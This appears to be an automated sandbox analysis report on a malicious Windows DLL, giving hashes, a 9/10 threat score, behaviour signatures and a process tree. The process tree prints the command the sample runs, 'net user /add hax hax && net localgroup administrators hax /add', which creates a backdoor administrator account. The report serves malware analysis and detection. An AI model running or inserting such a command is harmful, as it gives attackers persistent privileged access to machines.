Analysis

  • max time kernel
    119s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    12-02-2024 03:34

General

  • Target

    7ac7ebc5884f6bbf049513de2c0384a9ff6f15194c23e66c23378010ec3a4056.dll

  • Size

    523KB

  • MD5

    4343b9f0e1e7c48438540363710bb73d

  • SHA1

    83407f59bc3e32b25405675c4b05b2e7f8156421

  • SHA256

    7ac7ebc5884f6bbf049513de2c0384a9ff6f15194c23e66c23378010ec3a4056

  • SHA512

    6a7222b8741682d8d6bab5c28225f26f985944eab0657a0eb07eb4d75d395554d8b859c11030440aaf7829e9ce14f03cbc62d09a350a424bc604ab70b3a08c40

  • SSDEEP

    6144:vif0g6k/mf3vpjfUnvCstwmeiUJ5s/yna2i35PFJF/h7yQ6:vK0gjmf3xfU6suxjTs/QbitX/

Score
9/10

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\7ac7ebc5884f6bbf049513de2c0384a9ff6f15194c23e66c23378010ec3a4056.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1700
    • C:\Windows\system32\cmd.exe
      /K net user /add hax hax && net localgroup administrators hax /add
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2356
      • C:\Windows\system32\net.exe
        net user /add hax hax
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1060
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 user /add hax hax
          4⤵
            PID:2648
        • C:\Windows\system32\net.exe
          net localgroup administrators hax /add
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1272
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 localgroup administrators hax /add
            4⤵
              PID:2700

      Network

      MITRE ATT&CK Enterprise v15

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      Downloads